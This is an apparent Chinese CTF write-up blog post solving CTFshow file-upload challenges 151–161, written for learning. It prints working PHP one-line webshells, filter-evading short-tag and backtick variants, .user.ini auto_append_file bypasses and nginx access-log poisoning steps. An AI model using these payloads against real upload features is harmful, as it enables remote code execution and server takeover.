CTFshow 文件上传 Web151-170复现笔记(保姆级复现

前情提要:这是博主的第一篇文章,主要是对于ctfshow中的文件上传题目的复现而写下笔记,借鉴了若干篇文章才复现完全,这也是我想写博客的原因之一,后文会给出链接。如果文中有错误的地方欢迎各位师傅指正,还请多多海涵QAQ,那废话不多说,让我们开始吧!!

文章1
文章2
文章3

文件上传漏洞相关知识

一、简单定义

文件上传漏洞是一种常见的网络安全漏洞,攻击者可以通过上传恶意文件(如脚本、可执行文件等)来获取对目标系统的控制权或执行未授权的操作。这种漏洞通常出现在缺乏适当验证或限制的文件上传功能中。

二、前提条件

1、 文件可上传
2、上传文件可以被Web容器解释执行
3、上传路径可知

————————————————————————————————————————————

CTFshow复现 + 知识扩展

目录

Web 151
Web 152
Web 153
Web 154-155
Web 156
Web 157-158
Web 159
Web 160
Web 161
Web 162-163
Web 164
Web 165
Web 166
Web 167
Web 168
Web 169-170

Web 151 前台校验不可靠 回到目录

考点:前端校验,后端无验证

扩展知识:

前端校验是指在用户提交数据前,通过浏览器或客户端对数据进行验证,通常使用JavaScript、HTML 表单属性等实现
后端验证是指在接收到用户提交的数据后,服务器对数据进行校验和过滤,确保数据符合预期
故而,"前端校验,后端无验证"形同虚设,因为前端的验证可以被轻松绕过

复现过程:

1、按F12查看源代码发现只能上传png图片

请添加图片描述

2、修改为php

请添加图片描述

3、写个一句话木马

<?php eval($_POST[1]);?>

请添加图片描述

4、上传一句话木马,并发现上传成功

请添加图片描述

5、找到我们上传的一句话木马,即在URL后加上upload/test.php

请添加图片描述

6、派出我们的HackBar(在Google和Firefox都可以直接安装),查看上级目录发现可疑文件

1=system("ls ../");

请添加图片描述

这里本人的简单理解是:上传了一句话木马后,我们便拿到了目标服务器的远程控制权限,就可以用命令查看我们所需要的文件了
7、查看可疑文件,拿到flag( •̀ ω •́ )✧

1=system("tac ../flag.php);

请添加图片描述

Web 152 后端校验要严密 回到目录

考点:前端依旧可以绕过,但是后端会对文件进行校验,需要抓包

个人总结:

前端校验改源码,后端验证抓它包

复现过程:

1、打开我们bp中代理板块的浏览器

请添加图片描述

2、发现打不开网站,怎么会事呢(´。_。`),huh你不放行它肯定过不去啊

请添加图片描述

3、把它放过去发现网站加载出来了( •̀ ω •́ )✧,上传文件试试吧。诶,为什么显示文件格式不对呢,当然啊,它只让你放png,你放个php肯定不行啊,那怎么办呢?要不试试先把php改成png再上传?

请添加图片描述

诶,发现传上去了
4、将包放到重放器,并改文件png格式为php格式,重放回去

请添加图片描述

5、访问发现木马成功执行

请添加图片描述

6、重复上述操作拿到flag

1=system("ls ../");

请添加图片描述

1=system("tac ../flag.php);

请添加图片描述

Web 153 后端校验要严密 回到目录

考点:文件后缀名+黑名单机制,可利用上传user.ini进行文件上传绕过

扩展知识:

1、在文件上传的安全防护中,文件后缀名和黑名单通常是为了防止用户上传恶意文件(如木马或脚本),从而保护服务器免受攻击:
文件后缀名是文件名最后的部分,用于标识文件类型。文件上传功能中,后端通常会检查上传文件的后缀名,以确保用户上传的是安全的、符合要求的文件类型
黑名单机制是一种安全策略,用于禁止上传特定类型的文件。例如,网站可能不允许上传以下文件:.php,.jsp,.exe,.zip等等
2、user.ini 文件是 PHP 的一种配置文件,允许开发者为特定的目录设置自定义的 PHP 配置选项,本题中user.ini的作用就在于绕过黑名单机制

复现过程:

1、上传一句话木马图片

<?php eval($_POST[1]);?>

请添加图片描述

2、接着上传user.ini,内容为auto_append_file=“test.png”。格式可以先改成png,后在抓包时再改回来

auto_append_file="test.png"

请添加图片描述

3、访问/upload发现上传成功

请添加图片描述

4、老连招拿到flag

1=system("ls ../");

请添加图片描述

1=system("tac ../flag.php)

请添加图片描述

Web 154-155 后端校验要严密 回到目录

考点:文件内容过滤,过滤的关键字是php

复现过程:

1、既然过滤了php,那我们找一个东西代替php不就可以了吗( ̄︶ ̄)↗,试试用=代替php吧

<?=eval($_POST[1]);?>

请添加图片描述

2、和上一题同样的操作

auto_append_file="test.png"

请添加图片描述

3、老规矩,访问看看成功与否

请添加图片描述

4、拿到flag

1=system("ls ../");

请添加图片描述

1=system("tac ../flag.php);

请添加图片描述

Web 156 后端校验要严密 回到目录

考点:文件内容过滤,过滤的关键字是php+[ ]

复现过程:

1、在之前的基础上有过滤了[ ],过滤的[ ]可以用{ }代替

<?=eval($_POST{1});?>

请添加图片描述

2、还是上传user.ini

auto_append_file="test.png"

请添加图片描述

3、访问发现上传成功

请添加图片描述

4、好了,去拿flag吧( •̀ ω •́ )✧

1=system("ls ../");

请添加图片描述

1=system("tac ../flag.php);

请添加图片描述

Web 157-158 后端校验要严密 回到目录

考点:文件内容过滤,过滤的关键字是php+[ ]+;

复现过程:

1、在此前的基础上又双过滤了;,而在短标签里可以不要;,所以可以直接扒flag下来(坏笑

<?=system('tac ../f*')?>

请添加图片描述

2、别忘了user.ini

auto_append_file="test.png"

请添加图片描述

3、我们直接访问,拿flag

请添加图片描述

Web 159 后端校验要严密 回到目录

考点:文件内容过滤,过滤的关键字是php+[ ]+;+( )

复现过程:

1、在此前的基础上又双叒过滤了( ),那就用反引号代替吧QAQ

<?=`tac ../f*`?>

请添加图片描述

因为( )被过滤了,所以system也别想活着
2、老规矩

auto_append_file="test.png"

请添加图片描述

3、访问得手

请添加图片描述

Web 160 后端校验要严密 回到目录

考点:过滤了php,执行函数,反引号等,不能在图片中藏一句话木马,并且过滤了关键字log,要用拼接绕过

复现过程:

1、上传图片和user.ini,图片的内容为<?include"/var/lo"."g/nginx/access.lo"."g"?>

<?include"/var/lo"."g/nginx/access.lo"."g"?>

请添加图片描述

auto_append_file="test.png"

请添加图片描述

扩展知识:

<?include"/var/lo"."g/nginx/access.lo"."g"?>是一段 PHP 代码,其作用是包含(读取并执行)指定路径的文件内容
如果这段代码被放入一个 PHP 文件中并运行,它会尝试包含 /var/log/nginx/access.log 文件的内容,如果成功,文件内容将作为 PHP 代码解析并执行(如果文件中包含可执行 PHP 代码)
并且为了应对过滤关键词log,使用了lo"."g进行替代
/var/log/nginx/access.log 是 Nginx 服务器的默认访问日志文件路径
2、访问,并修改ua头,用上我们的一句话木马

请添加图片描述

<?php eval($_POST[1]);?>

请添加图片描述

3、老办法拿到flag

1=system("tac ../flag.php);

请添加图片描述

Web 161 后端校验要严密 回到目录

考点:和Web160基本一致,唯一的区别在于后端会检测png文件是否真的为png,所以要加上图片头GIF89A

复现过程:

1、记得加GIF89A( •̀ ω •́ )✧

GIF89A
<?include"/var/lo"."g/nginx/access.lo"."g"?>

请添加图片描述

GIF89A
auto_append_file="test.png"

请添加图片描述

2、得吃(~ ̄▽ ̄)~

1=system("tac ../flag.php);

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值